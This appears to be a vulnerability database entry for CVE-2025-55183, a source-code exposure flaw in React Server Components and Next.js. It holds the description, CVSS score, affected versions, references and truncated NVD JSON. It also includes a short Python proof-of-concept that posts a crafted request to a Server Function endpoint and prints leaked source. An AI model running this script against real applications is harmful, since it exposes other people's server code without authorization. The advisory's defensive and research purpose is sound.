CVE-2025-55183

Description

An information leak vulnerability exists in specific configurations of React Server Components versions 19.0.0, 19.0.1 19.1.0, 19.1.1, 19.1.2, 19.2.0 and 19.2.1, including the following packages: react-server-dom-parcel, react-server-dom-turbopack, and react-server-dom-webpack. A specifically crafted HTTP request sent to a vulnerable Server Function may unsafely return the source code of any Server Function. Exploitation requires the existence of a Server Function which explicitly or implicitly exposes a stringified argument.

CVSS Details

CVSS Score

5.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:facebook:react:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:a:vercel:next.js:*:*:*:*:*:node.js:*:* - VULNERABLE

react-server-dom-parcel 19.0.0

react-server-dom-parcel 19.0.1

react-server-dom-parcel 19.1.0

react-server-dom-parcel 19.1.1

react-server-dom-parcel 19.1.2

react-server-dom-parcel 19.2.0

react-server-dom-parcel 19.2.1

react-server-dom-turbopack 19.0.0

react-server-dom-turbopack 19.0.1

react-server-dom-turbopack 19.1.0

react-server-dom-turbopack 19.1.1

react-server-dom-turbopack 19.1.2

react-server-dom-turbopack 19.2.0

react-server-dom-turbopack 19.2.1

react-server-dom-webpack 19.0.0

react-server-dom-webpack 19.0.1

react-server-dom-webpack 19.1.0

react-server-dom-webpack 19.1.1

react-server-dom-webpack 19.1.2

react-server-dom-webpack 19.2.0

react-server-dom-webpack 19.2.1

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# CVE-2025-55183 PoC - React Server Components Source Code Exposure
# Target: React Server Components <= 19.2.1

def exploit_cve_2025_55183(target_url, server_function_path):
    """
    Exploit for information disclosure in React Server Components
    Requires a Server Function that exposes stringified arguments
    """
    headers = {
        'Content-Type': 'text/x-component',
        'Accept': 'text/x-component',
        'RSC-Action': '1'
    }
    
    # Crafted payload to trigger source code disclosure
    payload = {
        'args': ['__source_exposure_trigger__'],
        'bound': []
    }
    
    try:
        response = requests.post(
            f'{target_url}/{server_function_path}',
            json=payload,
            headers=headers,
            timeout=10
        )
        
        # Check for source code in response
        if response.status_code == 200:
            content_type = response.headers.get('Content-Type', '')
            if 'text/x-component' in content_type or 'text/plain' in content_type:
                print('[+] Potential source code disclosure detected')
                print('Response preview:', response.text[:500])
                return response.text
        
        print('[-] No vulnerability detected or target not affected')
        return None
        
    except requests.exceptions.RequestException as e:
        print(f'[-] Request failed: {e}')
        return None

# Usage example
# target = 'https://vulnerable-app.com'
# path = 'react-server-function-endpoint'
# result = exploit_cve_2025_55183(target, path)

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-55183
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-55183
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-55183/
[4] VulDB https://vuldb.com/cve/CVE-2025-55183
[5] https://react.dev/blog/2025/12/11/denial-of-service-and-source-code-exposure-in-react-server-components
[6] https://www.facebook.com/security/advisories/cve-2025-55183

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-55183", "sourceIdentifier": "[email protected]", "published": "2025-12-11T20:16:00.460", "lastModified": "2025-12-12T18:18:19.950", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An information leak vulnerability exists in specific configurations of React Server Components versions 19.0.0, 19.0.1 19.1.0, 19.1.1, 19.1.2, 19.2.0 and 19.2.1, including the following packages: react-server-dom-parcel, react-server-dom-turbopack, and react-server-dom-webpack. A specifically crafted HTTP request sent to a vulnerable Server Function may unsafely return the source code of any Server Function. Exploitation requires the existence of a Server Function which explicitly or implicitly exposes a stringified argument."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:facebook:react:*:*:*:*:*:*:*:*", "versionStartIncluding": "19.0.0", "versionEndExcluding": "19.0.2", "matchCriteriaId": "4B63E074-FEA2-495B-98C6-9D74E343A1C0"}, {"vulnerable": true, "criteria": "cpe:2.3:a:facebook:react:*:*:*:*:*:*:*:*", "versionStartIncluding": "19.1.0", "versionEndExcluding": "19.1.3", "matchCriteriaId": "4C133EED-6729-453F-B832-3E5A7EC22E92"}, {"vulnerable": true, "criteria": "cpe:2.3:a:facebook:react:*:*:*:*:*:*:*:*", "versionStartIncluding": "19.2.0", "versionEndExcluding": "19.2.2", "matchCriteriaId": "DE6F153C-825C-41B6-BE6F-2552A26307E0"}]}]}, {"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:vercel:next.js:*:*:*:*:*:node.js:*:*", "versionStartIncluding": "15.0.0", "versionEndExcluding": "15.0.7", "matchCriteriaId": "7F89ACED-432F-4789-A368-96D4E28DEE34"}, {"vulnerable": true, "criteria": "cpe:2.3:a:vercel:next.js:*:*:*:*:*:node.js:*:*", "versionStartIncluding": "15.1.0", "versionEndExcluding": "15.1.11", "matchCriteriaId": "99287D38-84D1-470A-96EF-B1D851552139"}, {"vulnerable": true, "criteria": "cpe:2.3:a:vercel:next.js:*:*:*:*:*:node.js:*:*", "versionStartIncluding": "15.2.0", "versionEndExcluding": "15.2.8", "matchCriteriaId": "4E4E7989-19E3-44C5-B292-54C73FF3F356"}, {"vulnerable": true, "criteria": "cpe:2.3:a:vercel:next.js:*:*:*:*:*:node.js:*:*", "versionStartIncluding": "15.3.0", "versionEndExcluding": "15.3.8", "matchCriteriaId": "78D397D2-B678-4463-85AB-8887554166C9"}, {"vulnerable": true, "criteria": "cpe:2.3:a:vercel:next.js:*:*:*:*:*:node.js:*:*", "versionStartIncluding": "15.4.0", "versionEndExcluding": "15.4.10", "matchCriteriaId": "137455D1-FCE0-4A58-A479-E7CA39EA969D"}, {"vulnerable": true, "criteria": "cpe:2.3:a:vercel:next.js:*:*:*:*:*:node.js:*:*", "versionStartIncluding": "15.5.0", "versionEndExcluding": "15.5.9", "matchCriteriaId": "7EFB67E0-24A1-4013-A654-C3EEAA2702DD"}, {"vulnerable": true, "criteria": "cpe:2.3:a:vercel:next.js:*:*:*:*:*:node.js:*:*", "versionStartIncluding": "16.0.0", "versionEndExcluding": "16.0.10", "matchCriteriaId": "009539CB-1F6D-446A-B581-1ABC70B10154"}, {"vulnerable": true, "criteria": "cpe:2.3:a:vercel:next.js:15.6.0:-:*:*:*:node.js:*:*", "matchCriteriaId": "3ED7F693-8012-4F88-BC71-CF108E20664A"}, {"vulnerable": true, "criteria": "cpe:2.3:a:vercel:next.js:15.6.0:canary0:*:*:*:node.js:*:*", "matchCriteriaId": "40EE98AC-754A-4FD9-B51A-9E2674584FD9"}, {"vulnerable": true, "criteria": "cpe:2.3:a:vercel:next.js:15.6.0:canary1:*:*:*:node.js:*:*", "matchCriteriaId": "13B41C54-AF21-4637-A852-F997635B4E83"}, {"vulnerable": true, "criteria": "cpe:2.3:a:vercel:next.js:15.6.0:canary10:*:*:*:node.js:*:*", "matchCriteriaId": "91B41697-2D70-488D-A5C3-CB9D435560CA"}, {"vulnerable": true, "criteria": "cpe:2.3:a:vercel:next.js:15.6.0:canary11:*:*:*:node.js:*:*", "matchCriteriaId": "7D43DB84-7BCF-429B-849A-7189EC1922D0"}, {"vulnerable": true, "criteria": "cpe:2.3:a:vercel:next.js:15.6.0:canary12:*:*:*:node.js:*:*", "matchCriteriaId": "CEC2346B-8DBD-4D53-9866-CFBDD3AACEF2"}, {"vulnerable": true, "criteria": "cpe:2.3:a:vercel:next.js:15.6.0:canary13:*:*:*:node.js:*:*", "matchCriteriaId": "2BC95097-8CA6-42FE-98D7-F968E37C11B7"}, {"vulnerable": true, "criteria": "cpe:2.3:a:vercel:next.js:15.6.0:canary14:*:*:*:node.js:*:*", "matchCriteriaId": "4F8FA85C-1200-4FD2-B5D7-906300748BD4"}, {"vulnerable": true, "criteria": "cpe:2.3:a:vercel:next.js:15.6.0:canary15:*:*:*:node.js:*:*", "matchCriteriaId": "5D0B177B-2A31-48E9-81 ... (truncated)